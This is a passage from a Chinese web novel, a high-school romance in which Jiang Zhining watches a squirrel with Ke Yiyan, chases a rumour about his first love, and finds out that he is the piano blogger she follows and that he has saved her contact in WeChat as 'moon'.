姜织宁眼睛一亮，立刻打起精神。 【Ning】：哪里！ 柯译衍发了张照片过来，图片里一只灰色小松鼠正蹲在栏杆边缘啃坚果。 这个小区绿化环境好，搬过来之后，姜织宁好几次看见野生松鼠在树梢上跳来跳去。 【Ning】：松鼠在你家？就是赵阿姨之前说的那只吧？ 同样是住九楼，姜织宁从没发现松鼠跑来家里觅食，反而柯译衍那边总有胆大松鼠主动找上门，尤其冬天的时候，树木全都光秃秃，食物匮乏，松鼠就会蹿到居民家里讨吃的。 最初两人不知道，是赵阿姨率先发现有松鼠跑来阳台上，松鼠上门时间不规律，一会儿上午，一会儿下午，两人要上学，经常碰不到，平常都是赵阿姨在投喂。 【K】：在阳台上吃东西，应该就是那只，来看么？ 姜织宁特别喜欢小动物，快要眼馋死了，迅速欣喜拿手机站起来。 【Ning】：来了来了！ 小跑到柯译衍家门口，熟练输入密码，打开门，她吓一跳，柯译衍就坐在玄关处，球包随意放在脚边。 姜织宁：“刚打球回来？” 柯译衍仰头看她，点点头。 怕吓跑松鼠，她安静关上门，小心翼翼走进来，坐到他身边，声音压到最低，说：“我看你假期里一直在打球。” 不想给他带来压力，所以之前姜织宁刻意没和他聊这件事。 “你那帮球友，朋友圈三天两头发你照片，跟集邮似的，刷屏了都。”姜织宁开玩笑讲。 少女轻手轻脚进来的模样看得柯译衍忍不住笑起来，他笑着低嗯一声，说：“找感觉。” 彼此已经很默契了，一个眼神便能猜出对方在想什么，不用柯译衍明说，姜织宁就知道这三个字什么意思。 她顺势问：“找到了吗？” 柯译衍：“有点苗头。” “别给自己太大压力。” “嗯，放心。” “也别太着急。” “懂，听劝。” 姜织宁情不自禁翘起唇角，满意心说，你还挺听话。 她笑看着他：“松鼠在哪儿呢？没跑走吧？” 柯译衍起身：“阳台吃东西。” 姜织宁跟在他身后，走到客厅尽头，果然看见阳台角落的花盆旁边蹲着只灰松鼠，她双眼亮起来，悄悄蹲下，一点点挪到移门边缘。 毛发深灰色，体型偏瘦，黑眼珠小小一粒，如果没有那条不怎么蓬松的长尾巴，整体看上去几乎和小老鼠无异。 可能是品种问题，松鼠外貌并没有网上那么美观，但姜织宁依然观察的津津有味，毕竟小松鼠抱着坚果啃的模样还是蛮可爱的。 “都住九楼，怎么不来我家呢？” 姜织宁仰头看柯译衍，抱怨一句。 少女饶有兴致观察松鼠的时候，柯译衍目光一直落在她身上，闻言，曲膝蹲到她身边，低声讲：“你家阳台封着，松鼠进不去。” 姜织宁恍然大悟哦了声：“确实封起来了，看来还是不封好，野生松鼠都怕人，挺胆小的，估计这只和你家混熟了。” 柯译衍笑起来：“赵姨给喂熟了，这只吃百家饭，没那么怕人。” “我能喂吗？”姜织宁神情跃跃欲试。 柯译衍起身，去冰箱里拿了根熟玉米，利落掰成两截，挑出轻的那块，在尾部插上筷子，拿回来递给她。 他紧盯着她动作，提醒说：“你手小心点啊，别距离松鼠太近，会咬人。” “这么凶，还会咬人啊？” “嗯，被咬了你得打疫苗。” “” 被他这么一说，姜织宁手立刻缩回来，不敢递太远。 白色瓷碗里还有不少坚果，松鼠窸窸窣窣啃完嘴里的花生，几步跳到玉米前，咬住，使劲往回拖。 柯译衍：“松手。” 姜织宁连忙松手，玉米被松鼠拖到角落里，看样子还是警惕人。 大概是坚果吃太多了，最后玉米没啃完就被松鼠抛弃到一边，紧跟着，小小身体敏捷蹿上阳台扶手，熟门熟路对准落点，灵活向下一跃！ 一眨眼的功夫，松鼠瞬间消失不见。 姜织宁惊奇睁大眼，想起身看看松鼠怎么跳下去的，毕竟这里是九楼哎！ 她蹲得太久了，不知不觉中，左腿知觉早已麻痹，起身刹那，又突然犯起低血糖。 眼前袭来一阵铺天盖地的眩晕，她惊呼了声，人没站稳，身体前倾，朝柯译衍扑去。 柯译衍半蹲着，一转眼，就见姜织宁朝他摔来。 压根来不及起身，而且钢琴就在不远处，他怕姜织宁撞到钢琴上，索性顺势伸出双臂接住她，环抱着人仰躺下去。 背部撞击向冰冷硬地板，一阵痛意猛然袭来，柯译衍暗暗嘶了声。 他顾不得在意，稳住身体下一秒，迅速松开揽在姜织宁腰上的左手，小臂有力撑住地板，稍稍抬起上半身，紧张看向姜织宁。 “没事吧？摔到哪里没有？” 姜织宁一张脸埋在他胸膛里，默不作声摇摇头。 柯译衍不由皱眉：“脸抬起来我看看。” 姜织宁轻吸了吸充满酸胀感的鼻子，慢吞吞抬起脸看向他。 少女眼眶中泛着微弱水光，鼻尖红通通一片，她这是哭了？ 柯译衍愣了愣，正要开口，就听见她说：“别误会，我没哭，鼻子刚才磕到你外套拉链了，好无语啊，我吃芥末鼻子都没这么难受。” 视线在姜织宁脸上身上仔仔细细检查了遍，确认她真没事后，柯译衍撤走揽住她的右手，等姜织宁先站起来。 结果十几秒过去，也不见她起身。 少女就这么一动不动趴在他身上，安静扭头看着窗外，像是在认真欣赏风景。 此刻，两人姿势极其亲密，让人看着脸红心跳大爆炸。 柯译衍沉默盯着姜织宁蓬松的发顶，暗自琢磨了会儿，想不出她什么意思，轻咳一声，试探问：“不起来？” “等会儿。”姜织宁回头看他，淡定讲，“左腿蹲麻了，没知觉。” 柯译衍镇定嗯了声，也作势扭头欣赏窗外风景。 姜织宁盯着眼前棱角分明，线条锋利漂亮的下颌线，忽然起了坏心眼，笑眯眯打趣说：“干嘛，怕我占你便宜吗？” 本来还怕她尴尬，没想到，她倒是主动提起敏感话题，柯译衍勾唇哼笑了声，目光慢条斯里回到她脸上。 他会怕这个？ 求之不得。 定定瞧了她几秒，柯译衍上半身突然平躺下去，下一秒，双手握住姜织宁胳膊，将她整个人往前拖。 两人变成面对面的姿势，鼻尖几乎快要触碰上。 视线倏地缠绕在一块儿，迅速发麻发热，纯净、馨香气息交融，气氛旖旎，空气升温，两人心跳都很快。 姜织宁心惊了下，身体微僵，但没躲，就这么近距离凝视着柯译衍漆黑狭长的眼睛，数秒后，不动声色开口：“你干嘛？” 柯译衍望着眼前挠人心痒的漂亮眼眸，慢悠悠说：“不是要占我便宜？” 姜织宁：“” “来。” 柯译衍好整以暇地说。 姜织宁：“” 第87章 不准动手动脚 因为外貌气场原因, 外人一直觉得柯译衍很冷酷，其实他也有不着调的一面，只是外露次数不多, 但存在。 在熟人面前，或者心情好的时候, 他偶尔也会开开玩笑，人挺幽默, 姜织宁知道的。 可是，柯译衍最近在她面前不着调的频率显然过高了, 还总是话里有话, 就很不正常, 姜织宁百思不得其解。 这一刻，少年明目张胆, 直接跨越界限的暧昧举动突然给了她解密的线索。 脑子里闪过一个念头。 该不会，柯译衍也喜欢她吧？ 姜织宁走神凝思时, 门外突然传来赵阿姨的说话声。 两人同时一愣。 姜织宁率先反应过来，顾不上腿麻不麻, 飞快撑着柯译衍肩膀，作势要爬起来。 人就是这样, 越紧急的情况, 越容易手忙脚乱出状况。 腿还僵麻着, 姜织宁上半身刚抬起来一些, 却被自己绊倒，反复折腾了好几次, 就是爬不起来。 她脸色渐红, 手心因为紧张出汗而变得越发黏腻。 柯译衍看不下去，想起身帮她一把, 结果一瞧见她脸上露出的慌张神情，就帮不了了。 姜织宁罕见的失态模样实在太逗，他脸偏到一旁，忍不住顾自闷笑起来。 姜织宁：“？” 有病吧？ 他还有闲心在那边笑？！ 柯译衍倒是不慌不忙，从容镇定得很，其实比起门外的赵阿姨，反而姜织宁的手让他更无奈。 也不管什么危险部位，不管会不会给他按出内伤，她为了能爬起来，双手撑在他身上使劲乱按，到处点火。 按得柯译衍仰头直叹气，真无奈啊 门外，赵阿姨和特意来送水果的邻居聊完话，输入密码，拉开大门。 一进门，就见两小孩坐在地板上。 赵阿姨愣了下，纳闷问：“怎么坐在地上？今天地暖都没开，快起来，小心着凉。” 柯译衍散漫靠着单人沙发，双臂环至胸前，仰头坏笑盯着姜织宁。 “”姜织宁不满轻踢他一脚，揉着发麻的腿起身，镇定解释，“我们在看松鼠。” 赵阿姨笑起来：“小家伙又跑上门吃东西了？” 她嗯了声：“吃完刚走，我给它喂了玉米。” 赵阿姨叮嘱：“千万要小心，有些松鼠会咬人，最好不要近距离喂，我都是把坚果放碗里，松鼠自己就会找过去吃。” 两人说话时，柯译衍注意到姜织宁的裤腿上沾了点脏东西，伸手帮她拿掉。 姜织宁敏感察觉到他动作，轻轻嘶了声，趁赵阿姨不注意，迅速垂眸瞪他一眼。 用眼神警告他，不准动手动脚！ 柯译衍一脸无辜：“你裤子上有纸屑。” 姜织宁没搭理他，和赵阿姨聊了几句家常话，无情离开。 柯译衍：“” …… 原以为自己和柯译衍是互相喜欢，结果过了一晚，姜织宁就不这么认为了。 隔天下午放学，周静瑶拉上姜织宁去学校后门吃饭。 吃饭时，周静瑶注意到姜织宁总是心不在焉，奇怪问：“怎么了，有心事啊？” 姜织宁犹豫了下，蹙眉问：“柯译衍有白月光吗？” “白”周静瑶满脸问号，“白什么东西？” “白月光。” 周静瑶知道学校里的很多八卦，姜织宁以为她会略知一二，结果周静瑶比她还震惊，瞪眼反问：“什么！柯译衍居然有白月光？？？下头了！！！” 姜织宁：“” 周静瑶追问：“真的假的？你怎么知道柯译衍有白月光啊？？？” 姜织宁放下筷子拿出手机，打开社交软件，点开周胜扬昨天晚上发给她的私信，展示给周静瑶看。 周静瑶接过手机看了两眼，皱眉问：“这个Fly，是不是周胜扬？我记得你之前说过。” 姜织宁点头：“就是他。” 也是凑巧，昨天晚上姜织宁去音暴上街舞课，授课老师在群里分享的教学视频正好发布在这个软件上。 她打开来看，看完视频退出前，突然心血来潮，转而去瞄了眼柯译衍的后援会。 粉丝不愧是粉丝，消息十分灵通，过年期间，柯译衍在雾京打球的照片和视频早已被人发到网上。 她顺势点开评论区，划看了几眼，还是老样子，气氛并不友善。 评论区里好为人师的“老师们”依然很多，不看好、冷嘲热讽的人也是一大堆。 就挺好笑的，不打球不行，打球也不行，合着柯译衍做什么都是错呗？ 其中骂最狠的显眼包，是ID为Fly的用户，也就是周胜扬，他发表的那些骂人话让她看着很反感。 姜织宁很久没登陆软件，也很久没搭理周胜扬了，私信都没回他，任由他发疯唱独角戏，她没那么多闲工夫和他打嘴仗。 之前是忘记拉黑他，这一回，打算彻底拉黑他之前，她面无表情编辑了一段骂人话发过去。 那边周胜扬手速也挺快，立刻给她回过来一长串话。 两人就这么你来我往互撕了会儿，姜织宁觉得无趣，准备拉黑周胜扬时，周胜扬突然嘲讽说—— 你花痴柯译衍有什么用啊？ 好心告诉你，柯译衍有白月光，那女生从小和他一起打网球，现在是他家品牌的签约模特，劝你洗洗睡，趁早死心，女朋友位置轮不到你的，一帮花痴！ “从小和柯译衍一起打网球，又是他家品牌的签约模特，嘶，我想想啊。” 周静瑶琢磨着这句话，脑子里速度过滤一遍人选后，猜测说：“是不是那个外国语学校的女生啊，叫什么来着，好像叫石石莜？上回网球联赛聚餐，她特意过来和我们一起吃饭，我记得她会打网球，而且现在是EQUA的模特。” 姜织宁平淡说：“如果周胜扬没有胡说八道，那大概率说的就是她，石莜寒假也呆在雾京，周跃丞朋友圈发的聚餐照里有她。” 当时看到照片，姜织宁不以为意，没觉得有什么，现在知道柯译衍有白月光后，聚餐照在她眼里就有些微妙了。 “我就说嘛，奇了怪了，难怪那天吃饭石莜老看柯译衍！”周静瑶倒吸凉气嘶了声，“我去，这就有点麻烦了！” 姜织宁：“怎么说？” 周静瑶：“初恋和白月光，那影响力都是核弹级别的！对男生而言，一辈子难忘！” 好有道理，姜织宁沉默几秒，把手机放入衣服口袋。 她想起昨天摔倒时，柯译衍对她表现出的不着调态度，面无表情说：“果然，柯译衍是个渣男。” “呃”周静瑶呼吸滞住，三秒后，小心翼翼说，“应该不会吧。” 她当然站姜织宁这边，一边觉得柯译衍有白月光这事很无语，一边觉得可信度存疑。 众所周知，周胜扬这人贼小心眼，就爱在背后诋毁人，热衷说柯译衍坏话，谁知道他嘴里有几句真话。 但是吧，柯译衍长这么帅，不谈恋爱好像也说不过去，毕竟江中的漂亮女生真心不少，这么想想，周胜扬说的白月光又变得合理起来。 姜织宁冷声说：“会的，柯译衍长得就很渣男。来班里第一天，俞杨和我说柯译衍是纯情男高，我当时就觉得太扯了，纯情这两个字，和柯译衍没半毛钱关系。” 说完，她忍不住在心里怒骂柯译衍真是渣男啊！ 渣男都有白月光了，居然还敢来撩她！ 这会儿周静瑶比姜织宁冷静，谨慎想了会儿，安慰道：“我觉得吧，有可能是周胜扬在胡扯，这事的可信度有待确认，要是柯译衍真有白月光，那怎么从来没听俞杨提起过，比起周胜扬，明显俞杨更了解柯译衍啊。” 姜织宁目无情绪喝着汤，没搭腔。 “要不”周静瑶试探说，“我明天找俞杨问问？” 姜织宁：“明天俞杨要去雾京参加网球比赛。” “啊？那他什么时候回来？” “不知道。” “不慌，我待会儿发信息问问他。” 进入高二下学期后，俞杨开始为之后的职业道路做准备，他把更多时间花在了网球上，所以人经常不在学校里。 柯译衍也是，一点点改变着，从最开始的请假，到特意和班主任申请不上晚自习，沉心于网球训练，心无旁骛寻找感觉。 姜织宁也忙，最近她要代表学校参加市里的英语比赛，大家都在循着方向，各自努力前进，挺好。 直到过了一周，俞杨才比完赛回校，不过只是短暂呆两天，之后又要飞到邻市合训。 晚饭时间，周静瑶在学校食堂偶遇见俞杨，她眼睛一亮，连忙邀请他一起吃晚饭。 “大忙人啊俞老师，最近都见不到你人影。” “这不是忙比赛、忙训练嘛，真是累死我了！”俞杨长叹了口气，余光瞄见姜织宁端着餐盘路过，顺势抬手打了个招呼，“巧啊宁王，坐这儿不？” 姜织宁看周静瑶也在，没多想，和身旁的街舞社成员解释一句，然后坐下来。 知道姜织宁吃完饭还有事要忙，周静瑶看着俞杨，清了清嗓，开门见山，状似闲聊说：“前段时间和我妈去商场买东西，正好路过EQUA专柜，我发现，EQUA橱窗广告里的美女有点眼熟哎，好像是你那个朋友石莜。” 俞杨毫不意外哦了声，解释：“正常，她是EQUA签约模特嘛。” “是吗？”周静瑶边吃饭，边感兴趣问，“你们什么时候认识的？” 俞杨回道：“那早了去，我俩小学同学，现在在同一个网球俱乐部。” 小学同学？ 居然还有这层关系。 周静瑶不动声色瞥了眼姜织宁，接着问：“这么说，也是柯译衍的小学同学咯？” “那肯定啊，我们都是一个学校的。”俞杨夹了筷鸡肉塞进嘴里，奇怪问，“你突然问石莜干什么？” 周静瑶半点不慌，张口就来：“我不是在搞摄影嘛，那肯定要找不同类型的模特啊，老拍宁王也不行，上回网球联赛聚餐，我记得你朋友提了嘴网球，就顺便问问。” 俞杨没什么心眼，一下子就被她说服了，会意点头，热情说：“懂了，那我把石莜的微信推给你？她拍运动广告经验挺丰富的。” “不着急，先了解好情况再说。”周静瑶又套话问，“石莜和你们一样，也是从小学的网球吧？否则不会被EQUA选中。” 俞杨笑道：“没错，不过石莜比我们学的晚，最早那会儿，她和我还有衍神，都在同一个俱乐部训练，她是受到衍神影响才去学网球。石莜球技挺不错的，但是她应该不会打职业，估计会选择去藤校校队。” 呃 周静瑶一听这话，脸色变得有点复杂。 这点也对上了，还真是从小就和柯译衍一起打网球 所以什么意思啊，难道两人是青梅竹马？ 该不会，石莜真是柯译衍的白月光吧？？？ 男生吃饭速度快，眼看俞杨餐盘快要见底，周静瑶连忙抓紧时间说：“那个关于柯译衍啊，我最近在学校里听到个八卦消息，不知真假。” “八卦消息？”俞杨愣了愣，他最喜欢听八卦了，立刻感兴趣问，“什么八卦？透露来听听，有瓜一起吃啊！” 周静瑶刻意压低声音，装神秘说：“八卦说，柯译衍有个白月光，听说是个从小一起打网球，经常为EQUA拍广告的女生，照这么形容看来，不就是你的朋友石莜吗？” “咳咳咳咳咳” 俞杨惊呆了，一口饭猛然呛在喉咙里。 脸颊迅速涨成猪肝色，他大声咳嗽着，一边猛捶胸口顺气，一边目光无比慌乱地看向姜织宁。 他突然看姜织宁干嘛？ 周静瑶心里挺紧张，心说自己套话套得很自然，俞杨这么傻白甜的嘤嘤怪，绝对不可能怀疑到姜织宁身上。 但是，她又怕万一，万一露馅了呢？ 想到这，她立马冲俞杨挥手，打乱他的惊恐视线。 “你看宁王干什么？看我啊，她只是拼桌吃饭的路人甲，不知道这件事！” 姜织宁坐下后一直在安静吃饭，全程没说话，像个隐形人似的，这会儿听见周静瑶喊她，淡然抬眸：“什么？” 周静瑶：“没事，继续吃饭就行，和你没关系。” 另一边，俞杨心里也很紧张。 就是因为姜织宁在场，他才不知道怎么说好！ 好家伙，他只是外出打个比赛而已，一回来就听到这么离谱的八卦，柯译衍确实有白月光，但是，怎么会扯上石莜啊？？？ 先辟谣吧。 刚才那口饭差点把他给呛死，俞杨抚胸顺气，皱眉反问周静瑶：“周导，你哪儿听来的八卦啊？” 周静瑶随口胡诌：“就无意间听别人说起呗，学校里关于柯译衍的八卦还少吗，尤其是感情方面，他不接受表白不谈恋爱，私下好奇这点的人多了去。” 哦，这倒是事实。 俞杨义正言辞辟谣说：“我真是无语，都特么谁在造谣！衍神白月光怎么可能是石莜啊，两人确实认识很久，但只是朋友关系好吗！” 周静瑶追问：“真的假的？” “当然是真的！”俞杨下意识强调一句，“衍神的白月光肯定不是她啊！” 果然果然！ 周静瑶笑眯眯扭头，用一副“看吧，我就知道周胜扬那狗屎在胡扯！”的神气表情，得意洋洋看着姜织宁。 姜织宁微微一笑，放下筷子，拎出重点，平静说：“所以另有其人。” 周静瑶：“？” 她琢磨三秒，突然回过味来，不可思议扭头瞪向俞杨：“不是石莜，另有其人啊！我去，白月光是谁？是咱们学校的女生吗？透露来听听，好奇！有瓜一起吃啊！！！” 俞杨：“” 完了完了完了 俞杨刚消停下去的心脏瞬间激烈狂跳起来。 不是，女生的第六感也太恐怖了吧！ 这怎么猜出来的？ 他又没明说…… 虽然他被称为戏精，但也知道自己纯属内心戏丰富，真让他演戏，不行的，绝对会露马脚！ 自从开学后，柯译衍的重心逐步向网球偏移，目前势头很不错，他不想在这种关键时刻，给柯译衍搞事情，分散他注意力。 另外，他确实不清楚现在柯译衍对姜织宁是什么想法，刚才有那么几秒，他差点忍不住，想对姜织宁透露点内幕，好在最后理智战胜情感，成功克制住自己。 俞杨眼神发飘，手忙脚乱端起餐盘，结巴道：“我、我也不知道啊，我最近没功夫关心他，你们、你们自己去问柯译衍，我还有事要忙，先、先走了啊！” 说完就溜了。 “”周静瑶望着俞杨逃走的背影，无语说，“他肯定知道，什么鬼，我还以为白月光是胡扯，结果另有其人” 这一回，她也不知道该怎么安慰姜织宁了，毕竟俞杨的话可信度还是很高的。 姜织宁安静喝着酸奶，瞧不出心里在想什么，气氛静默数秒，周静瑶试探说：“要不，我再抓俞杨过来问问？” 姜织宁摇摇头：“先算了吧，没必要。” * 俞杨一路飞奔到食堂外面，才松了口气。 走到无人区，他急不可耐拿出手机，给柯译衍狂发骂人信息。 【羊羊羊】：你个狗东西，你白月光不是宁王吗！怎么又变成石莜了？？？ 【羊羊羊】：你到底有几个白月光啊？！ 【羊羊羊】：长得帅就了不起吗？就可以为所欲为了吗？有没有考虑过我们普通男生的感受？ 【羊羊羊】：渣男啊你！！！ 【羊羊羊】：呸！！！我鄙视你！！！ 柯译衍正在网球俱乐部附近吃晚饭，看到信息后，嫌打字慢，直接电话打过来。 “犯什么病？” 俞杨冷哼一声，没好气说：“刚才周导在食堂问我，石莜是不是你的白月光，我说不是，结果宁王立马猜出白月光另有其人！你知道吗，我当时面对她们心里害怕极了！！！” 为避免误会，他及时说：“先说好，我可没对她们透露半个字啊，第一时间就给你通风报信了！” 柯译衍沉默几秒，无语问：“谁在乱传？” “不知道，反正你好自为之，万一被宁王猜到真相，你绝对死定了！”俞杨幸灾乐祸恐吓他，“到时候一摊牌，你和宁王就做不成朋友了！哎，我就不受影响，嘻嘻！” 柯译衍没搭理他犯病，困惑说：“周静瑶突然问这个干什么？” 俞杨翻了个白眼：“因为她听到有人在说啊，就来找我八卦呗。” 到底智商比俞杨高，柯译衍并不认为周静瑶会这么闲，沉思片刻后，脑中很快冒出个猜测。 他严谨确认问：“到底是周静瑶问的？还是姜织宁问的？” 俞杨无语叹气：“刚才都说了是周导问的，宁王只是路过而已，我叫她了，她才坐下来一起吃饭。” 这时，教练来了，要和柯译衍沟通接下来的训练计划。 柯译衍太懂俞杨了，这人前科无数，之所以第一时间给他通风报信，大概率是因为心虚犯了什么事，要他来收拾烂摊子。 这会儿没空说下去，他嗓音毫无温度，骂道：“少给自己脸上贴金，要不是你在姜织宁面前露马脚，她能这么快猜到？不知道她很聪明？” “让她自己来问我。” 说完，柯译衍就把电话挂了。 俞杨气得干瞪眼。 好好好！ 你家白月光又漂亮又聪明！全世界没人比得上她！ 一个个都是福尔摩斯，就他愚蠢无知呗！ 第88章 原来你一直在和我演戏？ 之后的一段时间, 姜织宁陷入了冷静期。 她始终没主动问柯译衍白月光的事，彼此就这么各怀心思，继续维持着微妙的朋友关系。 下学期衔接高三, 小考大考不断，学业任务重不少, 恰逢家里老人生病住院，姜织宁学校医院两头跑, 忙得没心思放在柯译衍身上，直到老人康复出院, 她才卸下心理负担。 这天周末中午, 姜织宁过来吃午饭。 柯译衍恢复网球训练后, 周末很少在家，她开门进去, 瞄见他也在，还挺意外, 顺势问了嘴：“没去训练？” 柯译衍放下汤勺：“今天不去，休息。” 她点头坐下, 拿起筷子。 柯译衍看着她，关心问：“爷爷没事吧？” 姜织宁嗯了声：“没事, 前天晚上出院了, 赵阿姨呢？” “出门采购。” 两人安静吃饭。 期间, 姜织宁发现柯译衍总是时不时看她一眼, 她从心里犯奇怪，到忍着没发作, 直到吃完饭, 放下筷子，才盯着他问：“老看我干嘛？” 柯译衍挑眉笑了下, 将手机随意放到桌上，意有所指地说：“有没有什么事想问我？” 凭直觉，他觉得白月光这事应该不是周静瑶问的，关于他的八卦多了去，比这更离谱的都有不少，以前怎么没见周静瑶感兴趣过。 思来想去，还是姜织宁的可能性最大。 都说了让她来问他，结果就是不见动静，不知道她心里怎么想的。 姜织宁困惑几秒，后知后觉想起来，自己确实有话要问。 要不要直接问他呢？ 总感觉现在时机不太对。 犹豫时，桌上手机响了，是爷爷打来的电话，她立刻接起来。 眉眼弯弯和老人聊了几句家常话，电话却突然断掉，扭头看了眼，手机黑屏，也不知道是没电还是坏了。 姜织宁朝柯译衍伸手：“手机借我下，给我爷爷打个电话。” 柯译衍把手机递给她。 “密码。” 他报了串数。 姜织宁输入密码，解锁下一秒，音乐app的个人主页映入眼帘，她瞥了眼，没太在意，正准备划走，突然福至心灵，指尖倏地停住。 等会儿，app很眼熟，更离谱的是，个人主页的头像和账号名也很眼熟 她慢吞吞将手机页面切回来，愣怔盯着账号名k，一脸茫然几秒，下意识向下划动个人主页。 下面是一排歌单列表，置顶的歌单无比眼熟，叫moon，随手点进去，发现里面全是她听过N次的钢琴曲，今天早上还循环播放了。 姜织宁狐疑瞥了眼柯译衍，脑中瞬间浮起个离谱猜测，但不敢相信，心想，也有可能是账号同名而已。 然后，她不死心地去查看主页里的粉丝列表，粉丝数量1，唯一关注账号的那个独苗粉丝，居然和她的听歌账号同名，也叫Ning，头像也一摸一样。 这么巧？ 她好奇点进账号，下一秒，陷入沉默，退出。 再点进，继续沉默，再退出…… 机械地反反复复操作了好几遍，终于确定，这不就是她的听歌号吗！ 所以什么意思？ 该不会，柯译衍就是她一直关注的音乐博主k？ 这太离谱了！ 姜织宁缓缓抬眸，目光无比复杂地盯着柯译衍。 与此同时，柯译衍无语偏头看向厨房，心路历程也挺复杂。 手机递给姜织宁，过了好一会儿，他才想起页面还停留在音乐app的个人主页上，因为他刚才想换头像。 先是紧张了下，觉得自己要掉马了，下一秒，他松了口气，庆幸想起登陆的是小号，不是几十万粉丝的黑历史大号。 结果高兴没几秒，又忽然想起来姜织宁早就知道他的小号，还是他亲自告诉她的。 所以，不管是登陆大号还是小号，他都会掉马 柯译衍内心深深叹气，真心对自己很无语。 算了，反正早晚都要告诉姜织宁，知道就知道，已经掉马了，他能怎么办。 姜织宁和爷爷通完电话，把手机放桌面上，屏幕朝上，平推到柯译衍手边。 她抱臂环胸，直勾勾盯着柯译衍，冷静摊牌：“你登录别人账号干什么？盗号啊你？” “？”柯译衍愣了愣，不可思议看着她，气笑道，“有没有一种可能，这就是我的账号。” “不信，证明给我看。” 他勾唇笑起来，语调散漫：“行啊，怎么证明。” “我想听好梦。” “行。”他叹气起身，“弹给你听。” 曲子不长，两分钟左右，柯译衍不紧不慢弹完，扭头看向姜织宁，她脸上没什么表情，平静说：“spring。” 柯译衍挑了挑眉，故意反问：“对你睡眠障碍帮助很大那首是吧？” 姜织宁不客气白他一眼，柯译衍笑笑，按下琴键。 “小夜曲。” “moon。” “Hope。” “Season。” 姜织宁点一首，柯译衍弹一首，就这么配合连弹了好几首，柯译衍察觉出不对劲，斜眼看着悠闲坐在沙发上指挥的人。 “怎么就点起歌来了？” 姜织宁翘起唇角，忍了两秒没忍住，偏头笑出声，一边笑一边怼他：“不行吗？瞒着我还有理了？” 她对k的琴风非常熟悉，毕竟经常循环播放，所以柯译衍弹好梦的时候，她就听出来了。 她关注了很久的音乐博主k，就是柯译衍。 柯译衍没脾气点头，顺着她说：“行，随便点，顾客就是上帝，懂的。” “柯译衍，你是真的让我很无语，如果不是今天我意外发现，你就打算一直瞒下去？”姜织宁止住笑意，板脸质问，“看我笑话很好玩是吧？” “那没有，有打算和你坦白，只不过没这么早，本来想找个合适的时机。” “什么合适的时机，骗谁啊你？”姜织宁嗤之以鼻，冷哼道，“又不是在犯法，怎么就难以启齿了？分明是你不想说。” “黑历史啊。”柯译衍无奈叹了口气，坦诚说，“确实难以启齿，否则我换听歌号干吗，这事就你一个人知道。” “俞杨也不知道？”她表情惊讶。 柯译衍摇头：“他只知道我会弹钢琴。” 想了想，姜织宁好奇问：“歌单里的那几首原创钢琴曲，真是你创作的？” 柯译衍笑道：“这就高估我水平了，都是外公写着玩的，他老人家以前是江洲音乐学院作曲系教授，我只是按他的谱子弹而已。” “原来是这样啊。”姜织宁会意点了点头，没好气讲，“我还以为你这么厉害呢，粉错人了，等会就取关。” 其实柯译衍的钢琴演奏能力很不错，个人风格很强，虽然曲子不是他写的，但他完美弹出了创作者想表达出的韵味。 但这会儿，她就是不想给他好脸色。 难怪跨年夜那晚，她给柯译衍推荐音乐博主，他看她的神情那么复杂。 搞笑！ 无语！ 事已至此，柯译衍把手机递给姜织宁。 姜织宁硬邦邦说：“干嘛？” 柯译衍：“你不是想看微信备注？” 她愣了下，反问：“你不是不让我看？” 他说：“之前总想着时机，现在觉得，今天就挺不错。” 她拿乔：“不看，兴致过了，没兴趣。” 他叹了口气，态度坚持：“没兴趣也请你看一下，解锁密码你知道。” 姜织宁纳闷：“你怎么比我还着急？” 他嗯了声，慢悠悠说：“是啊，确实挺着急，不能再等了。” “搞什么神神秘秘。” 姜织宁嘟囔着，接过手机解锁。 打开微信，都不用划动，一眼发现列表置顶的就是她，头像旁边的备注名不是姜织宁，不是宁王，不是宁宝，不是她原以为的任何一个 而是，moon。 呼吸顿时滞住，姜织宁眼睛一眨不眨地盯着moon。 像跑马灯似的，一瞬间，脑子里闪过很多佐证。 柯译衍听歌号里名为moon的歌单。 跨年夜那晚，他账号上想念月亮的动态表白。 周静瑶打听白月光时，俞杨总是莫名其妙偷瞄她。 那天在家摔倒，柯译衍对她做出的越界言行。 以及，这个昭然若揭的微信备注名。 气氛寂静无声，唯有墙上时钟滴答滴答转动。 柯译衍坐在琴凳上，侧身靠着钢琴，无比耐心的，静静注视着姜织宁。 心情从茫然到困惑，再到惊讶、欣喜姜织宁垂眸望着手机屏幕，心情像是坐了遍云霄飞车。 不知道过去多久，她缓缓起身，冷静走到柯译衍身前，把手机还给他，脸上看不出任何态度。 下一秒，她唇角偷翘，抬脚就跑。 彼此已经很默契了，柯译衍早已预判到她想干吗，动作比她还快，他迅速起身拽住她小臂，将人强势拉坐到琴凳上。 姜织宁背朝钢琴坐下，憋不住了，偏头笑出声。 “看完了就跑？”柯译衍面朝钢琴坐下，斜睨着她。 她笑得不行：“没跑，就哈哈哈突然想起来家里有点急事。” 柯译衍冷笑：“胡扯什么呢？” 她深深呼吸，努力平复气息，笑盈盈说：“知道了，放手啊，这次绝对不跑。” 柯译衍紧盯着她，半信半疑松开手，姜织宁老实坐在他身边，真没跑。 柯译衍敲打她：“上次在图书馆就和你说了，什么身份才能看我手机，这事没忘吧？” 姜织宁愣了下，抿唇讲：“哪有这样的？是你主动让我看的，我又没答应做你女朋友。” “反正看了。” “你是无赖吗？” 柯译衍哼出一声浅笑：“追到你答应。” 姜织宁笑眼弯弯，没拒绝。 “有件事，想问问你。”柯译衍唇角微挑，耐人寻味地说，“怎么突然去问俞杨白月光的事？” “什么？”姜织宁默了下，眼神略不自然地说，“又不是我问的。” “是吗？周静瑶问和你问没差。” “” 都到这个份上了，姜织宁也不想再遮遮掩掩下去，叹了口气，坦白解释道：“就和你刚才说的时机一样，确实有几次想亲自问问你，但怎么讲呢，总感觉现在不是合适的时机。” 柯译衍扬眉：“打算拖到什么时候？该不会毕业后？” 她歪头说：“不知道，说实话，还没想过，起码等你在网球那边稳定点再说。我姑姑讲过一句话，做事情就是要心无旁骛，一鼓作气，才能顺利达成目标，我呢，不想用这种私人小事干扰你，关键时刻，分心是大忌。” 说完，姜织宁舒展双腿，脚尖舒服翘起来，好奇反问他：“说起这个白月光我们不是才认识一个学期吗？” 她有点想不明白。 她的童星经历已经是十多年前，之后小学还没读完，就退圈了，这都过去好多年了，如今哪还有粉丝啊，即使在过去，也都是些姐姐粉、妈妈粉，毕竟那时候她年龄太小了。 她不是自恋的人，这点自知之明还是有的，柯译衍不可能是她粉丝。 柯译衍笑了笑，也坦白告诉她：“前年夏天，我在江中见过你。” 